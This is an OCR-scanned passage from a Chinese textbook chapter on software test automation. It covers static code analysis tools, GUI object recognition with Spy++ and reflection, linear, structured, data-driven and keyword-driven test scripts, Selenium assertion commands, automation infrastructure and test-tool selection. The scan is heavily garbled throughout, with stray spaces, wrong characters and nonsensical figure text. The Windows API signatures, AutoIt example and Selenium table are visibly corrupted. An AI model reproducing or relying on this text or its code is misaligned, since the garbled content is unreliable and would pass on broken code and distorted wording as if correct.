(User Interface, UT) 的 元 素 以 及 捕获 键盘 、 鼠 标的 输入 ,将 操作 过 程 转换 为 测试 工具 可 执行 
的 脚本 ; 然后 ,对 脚本 进行 修改 和 优化 ,加 入 测试 的 验证 点 ; 最 后 ,通过 测试 工具 运行 测试 
脚本 ,将 实际 输出 记录 和 预先 给 定 的 期 望 结果 进行 自动 对 比分 析 ,确定 是 否 存 在 差异 。 无 论 


是 对 功能 测试 ,还 是 对 性 能 测试 ,自动 化 实现 的 方法 都 比较 接近 ,只 不 过 是 功能 测试 需要 增 
加 验证 点 ,而 性 能 测试 不 需要 ,但 性 能 测试 需要 模拟 成 千 上 万 的 虚拟 用 户 。 

自动 化 测试 也 包括 动态 测试 和 苦 态 测试 ,上 面 所 介绍 的 是 动态 的 自动 化 测试 ,而 静态 的 
自动 化 测试 类 似 于 编译 系统 那样 ,对 计算 机 程序 进行 扫描 \ 逐 行 检查 ,直接 对 代码 进行 语法 
分 析 .代码 风格 检查 等 ,以 发 现 不 符合 代码 规范 等 问题 


11.2.1 代码 分 析 


最 早 进行 代码 分 析 的 工具 是 编译 器 。 为 了 顺利 地 编译 代码 ,编译 器 首先 要 检查 程序 是 
否 符 合 编程 语言 的 语法 ,能 够 发 现代 码 中 的 语法 错误 ,然后 将 源 代码 转换 成 可 执行 的 二 进 制 
代码 。 但 是 ,早期 的 编译 器 对 那些 语法 上 正确 但 是 非常 可 疑 的 代码 结构 置之不理 。1979 
年 ,贝尔 实验 室 的 Steve Johnson 在 PCC(Portable C Compiler, #4 it 4! C 编译 器 ) 基 础 上 开 
发 出 代码 分 析 工 具 Lint, 能 检查 出 更 多 不 符合 规范 的 错误 (如 将 “三 二 ”写成 了 “二 ”) 以 及 函 
数 接口 参数 不 一 致 性 问题 等 ,完成 代码 健壮 性 检查 。Lint 后 来 形成 一 系列 工具 ,包括 PC- 
Lint/FlexeLint (Gimpel) 和 Lint Plus (Cleanscape) 等 。 
代码 分 析 工 具 还 体现 在 集成 开发 环境 (IDE) 中 ,多 数 IDE 的 代码 编辑 器 都 可 以 实时 进 
行 代 码 检 查 , 直 接 定位 和 高 亮 显 示警 告 信息 和 可 能 的 错误 。 除 了 基本 的 分 析 、 内 建 的 静态 分 
析 外 ,大 部 分 IDE 都 有 可 选 的 插件 来 执行 更 全 面 的 代码 分 析 , 例 如 Eclipse 在 “ 源 代码 分 析 
器 ”的 分 类 列表 中 有 多 达 几 十 种 插件 ,这 些 插件 包括 : 
。 代码 规则 或 者 是 代码 风格 的 检查 工具 ,例如 Checkstyle, FindBugs,JLint, PMD 等 ， 
如 图 11-1 Aras. 
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图 11-1 在 Eclipse 中 的 FindBugs 规则 设置 


。 检查 和 移出 宛 余 代码 的 分 析 器 ,如 Duplication Management Framework, 

例如 ,开源 的 代码 分 析 器 PMD 能 分 析 以 下 包含 风险 的 代码 : 

。 MethodReturnsInternalArray( 返 回 内 部 数组 的 方法 ); 暴露 内 部 的 数组 ,让 用 户 可 
以 直接 修改 一 些 关键 的 代码 。 返 回 数组 的 副本 会 安全 些 。 

。 ArrayJIsStoredDirectly( 直 接 存 储 数组 ) : 构造 函数 或 方法 接收 的 数组 应 该 克隆 对 象 
Meek 这 样 可 防止 将 来 的 用 户 修改 ,影响 内 部 功能 。 

一 个 例子 ,我 们 可 能 会 因为 数据 库 连接 未 关闭 问题 而 焦头烂额 ,例如 资源 未 能 在 
oe 块 中 被 释放 清理 。 使 用 JUnit 可 以 分 析 Java 类 的 结构 和 内 容 , 检 查 它 们 
与 既定 规则 的 匹配 程度 。 例 如 ,规则 可 能 是 这 样 的 : 若 在 某 个 方法 体 中 创建 或 从 连接 池 中 
取得 了 数据 库 连 接 ,那么 必须 保证 存在 一 个 try/catch/finally 块 , 且 在 finally 块 中 关闭 了 连 
接 或 释放 了 连接 。 


11.2.2 对 象 识别 


测试 工具 能 够 实现 对 用 户 界面 的 操作 ,要 么 就 按照 屏幕 的 实际 像素 坐标 来 定位 ,要 么 通 
过 寻找 UI 上 的 对 象 (如 窗口 .按钮 .滚动 条 等 ) 来 确定 操作 的 目标 。 前 者 方法 虽然 简单 ,但 
生成 的 脚本 缺乏 可 读 性 ,不 容易 维护 ,而 且 在 不 同 的 屏幕 分 辨 率 下 脚本 可 能 根本 不 能 运行 ， 
所 以 越 来 越 多 的 测试 工具 选择 对 象 识 别 方法 。GUI 对 象 的 识别 工具 比较 多 ,微软 Visual 
Studio 中 就 包含 了 Spy++, 它 可 以 用 来 识别 各 种 Windows 的 GUI 对 象 ,如 图 11-2 所 示 。 


5 OO 00720308 RE Secale 
E E0 00550314°2.268. “Edt 
E 窗口 00880202MCButon 
E EO 008702F0MR Button 
E 窗口 004003D4MS-Button 
E 窗口 00A80302 M+ Button 
E E0 008503827 Buton 
E BO 004603404 Button 
E BO 00620366 Button 
E 窗口 004F03CAIrButon 
E EO 004003888 Button 


E BO 00EE01ES Button 
E EO 006103042 Button 
E 窗口 00AD031C+/-Buton 
E E0 00570336S Button 
E 窗口 00C003126Buton 
E 窗口 0027048z3Buton 
E 窗口 0078049E- “Button 
E 窗口 005E0484 /Button 
E 窗 吕 007F0628~Buton 
E 窗口 0063066E--Buton 


SERRE 请 按 FL 


图 11-2 用 Spy++ 识 别 计算 器 的 各 种 窗口 对 象 


要 识别 对 象 ,就 是 获得 UI 对 象 的 ID AJRA ,然后 根据 对 象 的 ID、 对 象 名 ,确定 其 属性 
值 等 数据 。 基 于 GUI 对 象 识别 和 控制 的 自动 化 测试 工具 ,在 脚本 语言 中 一 般 使 用 Windows 
User Interface (用 户 界面 ) 一 类 的 API 调用 来 识别 .操作 GUI 对 象 。Windows UI API K 
数 封装 了 操作 应 用 软件 所 需 的 接口 函数 ,包括 键盘 和 鼠标 的 捕获 ,以 及 窗口 .按钮 ,选择 项 等 
的 识别 和 操作 。 例 如 ,以 窗口 类 API 为 例 ,包括 了 几 十 个 函数 ,例如 : 


HWND GetDesktopWindow( VOID) 

HWND GetForegroundwindow( VOID) 

HWND Get TopWindow(HWND hWnd) ; 

BOOL GetWindowRect (HWND hWnd, LPRECT1pRect) ; 

Int GetWindowText(HWND hWnd, LPTSTR 1pString, Int nMaxCount) ; 

Int GetClassName(HWND hWnd, LPTSTR IpClassName int nMaxCount); 
BOOL GetClassInfoEx(HINSTANCE hlnst, LPCTSTR lpszClass, lpwcx) ; 
DWORD GetWindowThreadProcessld(HWND hwnd, LPDWORD lpdwProcessld) ; 
BOOL IsWindowVisible(HWND hWnd) ; 

HWND FindWindow(LPCTSTR IpClassName, LPCTSTR IpWindowName) ; 


除了 Windows API 函数 调用 方法 之 外 ,还 有 其 他 的 一 些 技术 可 以 采用 ,如 反射 机 制 
(Reflection) 。 通 过 反射 来 加 载 被 测试 程序 ,获取 被 测试 程序 的 各 种 属性 ,触发 被 测试 程序 
的 各 种 事件 ,从 而 达到 自动 化 测试 的 目的 。 在 . Net\C++ 和 Java 程序 语言 中 都 提供 了 反射 
机 制 , 增 加 了 这 些 非 动态 语言 的 动态 性 ,可 以 在 程序 运行 时 动态 地 创建 类 的 实例 ,并 绑 定 到 
现 有 对 象 ,然后 调用 类 的 方法 或 访问 其 字段 和 属性 ,这 也 为 自动 化 测试 提供 了 一 种 获取 对 象 
信息 的 途径 。 例 如 ,在 C# 中 使 用 静态 方法 GetType 获取 变量 类 型 。 

// Using GetType to obtain type information: 

int i = 42; 

System. Type type = i. GetType(); 

System. Console. WriteLine(type) ; 


输出 为 : 
System. Int32 
下 面 示例 使 用 反射 获取 已 加 载 的 程序 集 的 完整 名 称 : 


// C# : Using Reflection to get information from an Assembly: 
System. Reflection. Assembly o = System. Reflection. Assembly. Load( "mscorlib. dll"); 
System. Console. WriteLine(o. GetName( )); 


输出 为 : 


mscorlib, Version= 2.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089 


11.2.3 脚本 技术 


脚本 是 一 组 测试 工具 执行 的 指令 集合 ,也 是 计算 机 程序 的 一 种 形式 。 脚 本 可 以 通过 录 
制 测试 的 操作 产生 ,然后 再 做 修改 ,可 以 减少 脚本 开发 的 工作 量 。 当 然 ,也 可 以 直接 用 脚本 
语言 编写 脚本 。 自 动 化 测试 脚本 不 仅 包含 操作 数据 和 指令 ,还 包括 : 

。 同 步 ( 何 时 进行 下 一 个 输入 )。 

。 比较 信息 (比较 什么 、 如 何 比较 以 及 和 谁 比 较 )。 

。 捕获 何 种 屏幕 数据 及 存储 在 何 处 。 

”从 另 一 个 数据 源 读 取 数据 时 从 何 处 读 取 。 

。 控制 信息 等 。 


脚本 技术 围绕 着 脚本 的 结构 设计 ,实现 测试 用 例 ,在 建立 脚本 的 代价 和 维护 脚本 的 代价 
中 得 到 平衡 ,并 从 中 获得 最 大 益处 。 

脚本 技术 不 仅 用 在 功能 测试 上 ,来 模拟 用 户 的 操作 然后 进行 比较 ,而 且 可 以 用 在 性 能 、 
负载 测试 上 ,模拟 并 发 用 户 进行 相同 或 不 同 的 操作 ,以 给 系统 或 服务 器 足够 的 负载 ,以 检验 
系统 或 服务 器 的 响应 速度 .数据 吞吐 能 力 等 。 

脚本 可 以 分 为 线性 脚本 结构 化 脚本 .数据 驱动 脚本 和 关键 字 驱 动 脚本 。 线 性 脚本 是 最 
简单 的 脚本 ,如同 流 水 账 那样 描述 测试 过 程 ,一 般 由 自动 录制 得 来 。 而 结构 化 脚本 是 对 线性 
脚本 的 加 工 , 类 似 于 结构 化 设计 的 程序 ,是 脚本 优化 的 必然 途径 之 一 。 而 数据 驱动 脚本 和 关 
键 字 驱 动 脚本 可 以 进一步 提高 脚本 编写 的 效率 , 极 大 地 降低 脚本 维护 的 工作 量 。 目 前 大 多 
数 测试 工具 都 支持 数据 驱动 脚本 和 关键 字 驱 动 脚本 。 在 脚本 开发 中 ,常常 将 这 几 种 脚本 结 
合 起 来 应 用 。 

1. 线性 脚本 

线性 脚本 是 录制 手工 执行 的 测试 用 例 得 到 的 脚本 ,这 种 脚本 包含 所 有 的 击 键 移动. 输 
入 数据 等 ,所 有 录制 的 测试 用 例 都 可 以 得 到 完整 的 回放 。 对 于 线性 脚本 ,也 可 以 加 入 一 些 简 
单 的 指令 ,如 时 间 等 待 、 比 较 指 令 等 。 线 性 脚本 适合 于 那些 简单 的 测试 (如 Web 页 面 测试 )、 
一 次 性 测试 ,多 数 用 于 脚本 的 初始 化 (录制 的 脚本 用 于 以 后 修改 ), 或 者 用 于 演示 等 。 

2. 结构 化 脚本 

类 似 于 结构 化 程序 设计 ,具有 各 种 逻辑 结构 ,包括 选择 性 结构 ,分支 结 构 、 循 环 迭 代 结 
构 , 而 且 具 有 函数 调用 功能 。 结 构 化 脚本 具有 很 好 的 可 重用 性 、 灵 活性 ,所 以 结构 化 脚本 易 
于 维护 。 如 图 11-3 为 一 个 结构 化 脚本 的 示例 。 


?Include ## 
#include <GUIConstants. au3> 


PCL EAL 
Global $GUIWidth 
Global $GUIHeight 


SGUIWidth = 300 

$GUTHeight = 250 

SAO 

UICreate("New GUI", SGUIWidth, $GUIHeight) 


O mihe 2 


$msg = GUEGetitsg() 


MsgBox(64, "New GUI", "You clicked on the OK button!") 
g ‘Case $msg = SCancel Btn 
| MsgBox(64, "New GUI", "You clicked on the Cancel button!") 
EndSelect 
End 


图 11-3 结构 化 脚本 示例 


3. 数据 驱动 脚本 
数据 驱动 脚本 ,将 测试 脚本 和 数据 分 离开 来 ,测试 输入 数据 存储 在 独立 的 (数据 ) 文 件 


中 ,而 不 是 存储 在 脚本 中 。 针 对 某 些 功能 测试 时 ,操作 步骤 是 一 样 的 ,而 输入 数据 是 不 一 样 
的 ,相当 于 一 个 测试 用 例 对 应 一 种 输入 组 合 。 这 样 ,同一 个 脚本 可 以 针对 不 同 的 数据 输入 而 
实现 多 个 测试 用 例 的 自动 执行 ,提高 了 脚本 的 使 用 效率 和 可 维护 性 。 在 实现 上 ,一 般 都 在 肢 
本 中 引入 变量 ,通过 变量 来 引用 数据 ,脚本 本 身 描述 测试 的 具体 执行 过 程 。 

在 实际 测试 当中 ,这 种 情况 很 多 ,例如 用 户 登 录 的 功能 测试 中 ,“ 用 户 名 口令 ”就 是 输入 
数据 ,测试 时 需要 对 不 同 的 情形 分 别 测试 ,如 用 户 名 为 空 .口令 为 空 大 小 写 是 否 区 分 .是 否 
允许 特殊 字符 等 。 更 理想 的 数据 驱动 脚本 ,可 以 控制 测试 的 工作 量 , 即 控制 业务 操作 过 程 ， 
真正 地 由 数据 来 驱动 测试 ,使 自动 化 测试 具有 一 定 的 智能 性 。 关键 字 驱动 脚本 是 控制 单个 
具体 的 “动作 ”, 而 数据 驱动 是 控制 “过 程 ” 即 业务 层次 上 的 操作 。 


测试 数据 列表 (Datatable) 

序号 用 户 名 口令 
i test passl 
2 test sp passl 
3 test pass 1 
4 test P@ss! 
数据 驱动 脚本 示例 


For i= 1 to Datatable. GetRowCount 
Dialog("Login"). WinEdit("AgentName:").SetDataTable("username", dtGlobalSheet) 
Dialog("Login") . WinEdit("Password:").SetDataTable("passwd", dtGlobalSheet) 
Dialog( "Login" ) . WinButton("OK"). Click 
datatable. GlobalSheet. SetNextRow 

Next 


4. 关键 字 驱 动 脚本 

关键 字 驱 动 脚本 (Keyword-Driven or Table-Driven Testing Script) ,看 上 去 非常 像 手 
工 测试 的 用 例 ,脚本 用 一 个 简单 的 表格 来 表示 ,如 表 11-1 所 示 。 关 键 字 驱动 脚本 ,是 数据 驱 
动 脚本 的 逻辑 扩张 ,实际 上 是 封装 了 各 种 基本 的 操作 ,每 个 操作 由 相应 的 函数 实现 ,而 在 开 
发 脚本 时 ,不 需要 关心 这 些 基 础 函数 ,直接 使 用 已 定义 好 的 关键 字 , 这 样 的 好 处 是 脚本 编写 
的 效率 会 有 很 大 的 提高 ,脚本 维护 起 来 也 很 容易 。 而 且 ,关键 字 驱 动 脚本 构成 简单 ,脚本 开 
发 按 关键 字 来 处 理 , 可 以 看 作 是 业务 逻辑 的 文字 描述 ,每 一 个 测试 人 员 都 能 开发 ,这 就 能 做 
到 “全 民 皆 兵 " 一 一 每 个 测试 人 员 都 可 以 进行 自动 化 测试 的 工作 。 

表 11-1 关键 字 驱 动 脚本 示例 (SeleniumHTML 格式 脚本 ) 


命令 (关键 字 ) 对 象 (操作 对 象 ) 值 (属性 ) 注释 

/config/login_verify2?. sre = yc&.. intl = 访问 雅虎 日 历 站 点 : 

open cn&.. partner = &. done = http% 3a//cn. http://cn, calendar. yahoo 
calendar. yahoo. com/? . com/ 

type username testl 输入 用 户 名 “test1” 

type passwd 1234567 输入 密码 “1234567” 

clickAndWait //input| @ value= ' 登 录 '] 单 击 “登录 "按钮 

verifyTextPresent | “Sih, 我 的 账户 ” 验证 用 户 登 录 成 功 


当然 ,可 以 在 这 基础 上 对 底层 命令 进行 封装 ,形成 更 高 层次 上 (服务 或 业务 层次 ) 的 关键 
字 。 关 键 字 的 层次 处 在 合适 的 水 平 , 既 不 要 关注 细节 ,也 不 能 过 高 。 如 果 关 键 字 过 于 复杂 ， 
包罗 万 象 ,就 不 够 灵活 ,甚至 无 法 适应 业务 逻辑 的 变化 ,反而 给 脚本 维护 带 来 巨大 的 工作 量 。 


11.2.4 自动 比较 技术 


自动 执行 测试 脚本 时 ,预期 输出 是 事先 定义 的 或 插入 脚本 中 ,然后 在 测试 过 程 中 运行 脚 
本 ,将 捕获 的 结果 和 预先 准备 的 输出 进行 比较 ,从 而 确定 测试 用 例 是 否 通过 。 所 以 ,自动 比 
较 在 软件 测试 自动 化 中 就 非常 重要 。 

简单 比较 ,就 是 对 执行 过 程 中 输出 的 数值 和 期 望 获得 的 数值 进行 比较 ,例如 ,进行 5X6 
乘法 运算 的 期 望 结 果 是 30, 脚 本 执行 时 模拟 计算 器 程序 输入 *5”“X”“6” 之 后 , 单 击 “==”， 
其 结果 显示 30, 说 明 验 证 通过 。 当 然 , 有 更 复杂 的 比较 ,如 比较 文件 名 、 文 件 大 小 、 文 件 内 
容 , 还 有 Windows 窗口 或 控件 的 属性 ,甚至 比较 整个 屏幕 或 屏幕 上 某 个 区 域 图 像 等 。 

图 片 或 自 绘 窗口 特效 的 验证 是 自动 化 测试 中 的 一 个 难点 。 虽 然 有 些 自 动 化 测试 工具 提 
供 了 验证 图 片 的 功能 ,但 是 稳定 性 都 不 是 很 好 。 一 般 图 片 验证 原理 是 首先 截取 并 保存 正确 
的 图 片 ,然后 将 脚本 运行 时 截取 的 图 片 与 保存 的 图 片 进行 比较 。 由 于 这 种 比较 是 在 像素 级 
上 进行 , 极 微小 的 差异 都 会 被 认为 是 不 同 的 ,这 可 能 导致 同样 的 脚本 在 不 同 物理 机 器 
(显示 卡 .操作 系统 等 不 同 ) 上 运行 时 ,常常 会 因为 显示 上 的 微小 差异 而 导致 检查 结果 失败 ， 
但 用 户 是 可 以 接受 的 。 

有 的 测试 工具 可 以 设 定 阔 值 ,允许 存在 微小 的 差异 ,高 于 阔 值 的 ,被 认为 “差异 明显 存 
在 ”认定 验证 失败 ; 而 低 于 或 等 于 的 差异 将 被 忽视 ,认定 验证 通过 。 这 样 ,测试 结果 会 比较 
稳定 .可 靠 。 如 果 阔 值 可 以 根据 实际 情况 或 用 户 的 特定 要 求 进行 自动 调整 ,那么 比较 技术 具 
有 一 定 的 智能 性 ,这 种 自动 比较 技术 ,可 以 称 为 “智能 比较 ”。 例 如 ,要 求 比较 (验证 ) 包 含 日 
期 信息 和 数据 的 输出 报表 ,是 比较 困难 的 ,因为 输出 报表 中 的 日 期 和 数据 都 是 动态 的 。 这 
时 ,可 能 需要 智能 比较 ,可 能 要 针对 日 期 格式 和 数据 特征 来 进行 比较 。 当 然 ,为 了 确认 数据 
的 正确 性 或 为 了 使 结果 具有 良好 的 可 靠 性 ,需要 精心 设计 ,自动 产生 所 需 的 测试 数据 ,从 而 
根据 预先 准备 的 测试 数据 ,采用 另外 一 种 方法 来 获得 期 望 的 结果 ,然后 与 实际 测试 结果 进行 
比较 。 

在 软件 自动 化 测试 脚本 中 ,一 般 存 在 两 类 比较 模式 一 一 验证 (Verify) 和 断言 (Assert)， 
其 比较 能 力 是 相近 的 ,Assert 命令 都 有 对 应 的 Verify 命令 ,但 对 验证 结果 的 处 理 是 不 一 
样 的 。 

© 当 Assert 失败 时 , 则 退出 当前 测试 ; 

© 当 Verify 失败 时 ,测试 会 继续 运行 。 

例如 ,下 面 将 要 介绍 的 Web 功能 测试 工具 Selenium, 它 有 几 十 个 用 于 自动 比较 的 命 


assertTitle(titlePattern) 检查 当前 页 面 的 标题 (title) 是 否 正确 ; 

。 assertValue(inputLocator, valuePattern) 检查 输入 (input) 的 值 ; 
assertSelected (selectLocator, optionSpecifier) 检查 下 拉 菜 单 中 选项 是 否 匹 配 ; 
。 assertText (elementLocator,textPattern) 检查 指定 元 素 的 文本 ; 
assertTextPresent(text) 检查 当前 页 面 上 是 否 出 现 指 定 的 文本 ; 


assertAttribute(. { } elementLocator@attributeName. {}, ValuePattern) 检查 当前 
指定 元 素 的 属性 的 值 ; 

。 assertTable(cellAddress, valuePattern) 检查 表格 (table) 里 某 个 单元 (cell) 的 值 ; 
assertVisible(elementLocator) 检查 指定 的 元 素 是 否 可 视 ; 

。 assertEditable(inputLocator) 检查 指定 的 输入 域 是 否 可 以 编辑 ; 
assertAlert(messagePattern) 检查 JavaScript 是 否 产 生 指 定 信 息 (message) 的 警告 
对 话 框 ; 

。 assertPrompt(messagePattern) 检查 JavaScript 是 否 产 生 指 定 message 的 提示 对 
话 框 。 


11.2.5 测试 自动 化 系统 的 构成 


在 进行 自动 化 测试 时 ,最 简单 的 情况 就 是 在 单 台 测试 机 器 上 运行 测试 工具 ,由 这 人 台 机 器 
执行 存储 在 本 机 上 的 测试 用 例 , 即 向 被 测试 的 软件 系统 发 送 请 求 或 操作 命令 ,并 显示 测试 过 
程 ,记录 测试 结果 。 但 在 大 规模 的 自动 化 测试 过 程 中 , 靠 一 台 测 试 机 不 能 完全 解决 问题 , 需 
要 多 台 机 器 协助 工作 ,而 且 还 需要 调度 、 控 制 这 些 测试 机 器 ,以 及 需要 特定 的 服务 器 用 于 存 
储 和 管理 测试 任务 .测试 脚本 和 测试 结果 。 这 时 ,测试 人 员 需 要 系统 地 解决 自动 化 测试 框架 
及 其 环境 问题 。 

自动 化 脚本 的 开发 可 以 看 作 类 似 于 软件 开发 的 工作 , 它 需 要 相应 的 集成 开发 环境 
(IDE)。 所 以 ,在 讨论 自动 化 测试 系统 时 ,应 着 重 考 虑 自动 化 测试 执行 的 环境 ,也 就 是 构成 
自动 化 系统 的 基本 框架 。 作 为 测试 自动 化 的 基本 结构 ,可 以 看 作 由 下 面 6 部 分 组 成 ,如 
图 11-4 所 示 。 


文件 服务 器 
Li 
Build 系 统 编译 “| 局 复制 测试 文件 
DEV/Test Build 


控制 
数据 库 服务 器 ”测试 用 例 、 肢 本 党 服务 器 
作 项 目 


测试 结果 


图 11-4 测试 自动 化 的 基本 结构 


(1) 构建 .存放 程序 软件 包 和 测试 软件 包 的 文件 服务 器 ,在 这 个 服务 器 上 进行 软件 包 的 
构建 ,并 使 测试 工具 可 以 存 取 这 些 软件 包 。 

(2) 存储 测试 用 例 和 测试 结果 的 数据 库 服务 器 ,提高 过 程 管理 的 质量 ,同时 生成 统计 所 
需要 的 数据 。 


G) 执行 测试 的 运行 环境 一 一 测试 试验 室 ,或 一 组 测试 用 的 服务 器 或 PC。 单 元 测试 或 
集成 测试 可 能 多 用 单机 运行 。 但 对 于 系统 测试 或 回归 测试 ,就 极 有 可 能 需要 多 台 机 在 网 络 
上 同时 运行 。 

(4) 控制 服务 器 ,负责 测试 的 执行 .调度 ,从 服务 器 读 取 测 试用 例 ,向 测试 环境 中 的 代理 
(Agent) 发布 命令 。 

(5) Web 服务 器 ,负责 显示 测试 结果 、 生 成 统计 报表 、 结 果 曲 线 ; 作为 测试 指令 的 转 接 
点 ,接受 测试 人 员 的 指令 ,向 控制 服务 器 传送 。 同 时 ,根据 测试 结果 ,自动 发 出 电子 邮件 给 测 
试 或 开发 的 相关 人 员 。Web 服务 器 ,有 利于 开发 团体 的 任何 人 员 都 可 以 方便 地 查询 测试 结 
果 , 也 方便 测试 人 员 在 自己 办 公 室 就 可 以 运行 测试 。 

(6) 客户 端 程序 ,测试 人 员 在 自己 机 器 安装 的 程序 ,许多 时 候 , 要 编写 一 些 特殊 的 软件 
来 进行 测试 结果 与 标准 输出 的 对 比 工作 或 分 析 工 作 , 因 为 可 能 有 部 分 的 输出 内 容 是 不 能 直 
接 对 比 的 ,需要 用 程序 进行 处 理 。 

理想 的 测试 工具 可 以 在 任何 一 个 路 径 位 置 上 运行 ,可 以 到 任何 路 径 位 置 去 取得 测试 用 
例 , 同 时 也 可 以 把 测试 的 结果 输出 放 到 任何 的 路 径 位 置 上 去 。 这 样 的 设计 ,可 以 使 不 同 的 测 
试 运行 能 够 使 用 同一 组 测试 用 例 而 不 至 于 互相 干扰 ,也 可 以 灵活 使 用 硬盘 的 空间 ,并 且 使 备 
份 保存 工作 易于 控制 。 

同时 ,软件 自动 测试 工具 必须 能 够 有 办 法 方便 地 选择 测试 用 例 库 中 的 全 部 或 部 分 来 运 
行 ,也 能 够 自由 地 选择 被 测试 的 产品 或 阶段 性 成 果 作 为 测试 对 象 。 


11.3 测试 自动 化 的 实施 


根据 测试 的 要 求 和 任务 ,来 决定 选择 什么 样 的 测试 工具 。 对 于 一 些 特殊 的 应 用 ,特别 是 
一 些 应 用 服务 器 的 功能 测试 ,没有 测试 工具 供 选择 ,需要 自己 开发 新 的 .特定 的 测试 工具 。 
在 多 数 情 况 下 ,选用 开源 测试 工具 或 第 三 方 专业 软件 测试 工具 厂家 的 产品 是 一 种 比较 明智 
的 方法 。 

在 选择 测试 工具 之 前 ,测试 人 员 需 要 对 测试 工具 有 一 个 总 体 的 了 解 , 包 括 有 哪 几 类 测试 
工具 ,有 哪些 工具 可 供 选 择 。 然 后 ,测试 人 员 要 进一步 了 解 选择 的 标准 是 什么 ,以 及 如 何 做 
出 正确 的 决策 。 


11.3.1 测试 工具 的 分 类 


软件 测试 工具 种 类 很 多 , 既 有 商业 版 本 ,也 有 免费 的 开源 版 本 。 有 时 候 , 也 根据 软件 应 
用 领域 来 划分 测试 工具 ,包括 Web 测试 工具 、 拭 入 式 测试 工具 等 。 但 一 般 来 说 ,会 按 以 下 两 
个 方面 来 进行 分 类 : 
。 根据 测试 方法 不 同 ,分 为 白 盒 测试 工具 和 黑 盒 测试 工具 ,或 者 分 为 静态 测试 工具 和 
动态 测试 工具 等 。 
。 根据 测试 的 对 象 和 目的 不 同 ,分 为 单元 测试 工具 、 功 能 测试 工具 负载 测试 工具 或 性 
能 测试 工具 测试 管理 工具 等 。 
在 平时 应 用 时 不 会 太 在 乎 是 白 盒 测 试 工具 还 是 黑 盒 测 试 工具 ,是 动态 测试 工具 还 是 静 
态 测试 工具 ,关键 是 解决 问题 ,人 们 往往 关心 的 是 解决 了 功能 测试 还 是 解决 了 性 能 测试 ,更 


关心 工具 所 能 完成 什么 样 的 测试 工作 ,所 以 在 后 面 各 节 将 按 功能 测试 工具 、 性 能 测试 工具 等 
分 类 来 进行 详细 的 讨论 ,而 单元 测试 工具 已 在 第 5 章 讨论 ,本 章 将 不 再 讨论 。 

1, 白 盒 测试 工具 

白 盒 测试 工具 是 针对 程序 代码 ,程序 结构 .对象 属性 .类 层次 等 进行 测试 ,测试 中 发 现 的 
缺陷 可 以 定位 到 代码 行 , 单 元 测试 工具 多 属于 白 盒 测试 工具 。 针 对 白 盒 测 试 工 具 , 可 以 进 一 
步 划 分 为 静态 测试 工具 和 动态 测试 工具 ,但 像 Parasoft 公司 的 Jtest HI C++ Test, HEE TA 
测试 工具 ,也 是 动态 测试 工具 。 

(1) 静态 测试 工具 对 代码 进行 语法 扫描 , 找 出 不 符合 编码 规范 的 地 方 , 根 据 某 种 质量 模 
型 评价 代码 的 质量 ,生成 系统 的 调用 关系 图 等 ,所 以 它 是 直接 对 代码 进行 分 析 , 不 需要 运行 
代码 ,也 不 需要 对 代码 编译 链接 、 生 成 可 执行 文件 。 静态 测试 工具 主要 有 Compuware 公司 
的 CodeReview、Telelogic 公司 的 Logiscope 软件 .PR 公司 的 PRQA 软件 。 另 外 ,多 数 安全 
性 测试 工具 ,通过 代码 的 扫描 来 分 析 代 码 并 找 出 安全 漏洞 ,也 属于 静态 测试 工具 。 

(2) 动态 测试 工具 与 静态 测试 工具 不 同 ,需要 实际 运行 被 测 系统 ,并 设置 断 点 ,向 代码 
生成 的 可 执行 文件 中 插入 一 些 监 测 代码 ,掌握 断 点 这 一 时 刻 程序 运行 数据 (对 象 属性 、 变 量 
的 值 等 )。 动 态 测试 工具 主要 有 Compuware 公司 的 DevPartner 软件 ,IBM 公司 的 Rational 
Purify 系列 。 

2. 黑 盒 测 试 工具 

黑 盒 测试 工具 ,一般 是 通过 图 形 用 户 界 面 (Graphical User Interface,GUJI) 来 实现 自动 
化 测试 , 即 利用 脚本 的 录制 (Record) /回放 (Playback) ,模拟 用 户 的 操作 ,然后 将 被 测 系统 
的 输出 记录 下 来 同 预先 给 定 的 标准 结果 比较 。 黑 盒 测 试 工具 一 般 应 用 于 系统 的 功能 测试 和 
负载 测试 ,性 能 测试 等 , 复 用 性 比较 好 ,适合 进行 大 规模 的 回归 测试 和 各 种 性 能 测试 。 如 
GUI 功能 测试 工具 的 代表 有 HP 公司 的 Quick Test Professional (QTP),IBM Rational 
Funtional tester、Parasoft 公司 的 WebKing, Segue 公司 的 SilkTest 等 ; 性 能 测试 工具 有 
HP 公司 的 LoadRunner,IBM Rational Performance tester 等 。 而 IBM Rational Robot Ef 
可 用 于 功能 测试 ,也 可 用 于 性 能 测试 。 


11.3.2 测试 工具 的 选择 


要 选择 好 测试 工具 ,首先 就 要 根据 软件 产品 或 项 目的 需要 ,确定 要 用 哪 一 类 的 工具 ,是 
白 盒 测试 工具 还 是 黑 盒 测 试 工具 ? 是 功能 测试 工具 还 是 负载 测试 工具 ? 即使 在 特定 的 一 类 
工具 中 ,还 需要 从 众多 不 同 的 产品 中 选择 合适 的 工具 。 测 试 工具 的 选择 是 测试 自动 化 的 一 
个 重要 步骤 之 一 ,选择 一 个 产品 ,不 外 乎 针对 自己 的 需求 ,不 同 产品 的 功能 、 价 格 、 服 务 等 进 
行 比较 分 析 , 选 择 比 较 适 合 自己 的 ,性 能 价格 比 好 的 2 一 3 种 产品 作为 候选 对 象 。 
。 如 果 是 开源 工具 ,就 需要 分 别 试用 一 段 时 间 并 进行 评估 ,然后 集体 讨论 、 做 出 决定 。 
。 如 果 是 商业 工具 ,比较 好 的 方法 就 是 请 这 2 一 3 种 产品 的 商家 来 做 演示 ,并 让 他 们 通 
过 工具 实现 几 个 比较 难 或 比较 典型 的 测试 用 例 。 最 后 ,根据 演示 的 效果 、 商 业 谈判 
的 价格 .产品 功能 和 售后 服务 等 进行 综合 评估 ,做 出 选择 。 
在 选择 测试 工具 时 ,需要 关注 工具 的 自身 特性 , 即 具备 哪些 功能 ,功能 强大 的 工具 会 得 
到 更 多 的 关注 。 也 不 是 说 ,功能 越 强大 越 好 ,在 实际 的 选择 过 程 中 ,预算 是 基础 ,解决 问题 是 


前 提 , 质 量 和 服务 是 保证 ,适用 才 是 根本 。 为 不 需要 的 功能 花 钱 是 不 明智 的 , 够 用 就 可 以 了 。 
同样 ,仅仅 为 了 省 几 个 钱 ,忽略 了 产品 的 关键 功能 或 服务 质量 ,也 不 能 说 是 明智 的 行为 。 

在 引入 /选择 测试 工具 时 ,不 仅 要 考虑 性 能 价格 比 、 产 品 的 成 熟 度 , 还 要 考虑 测试 工具 引 
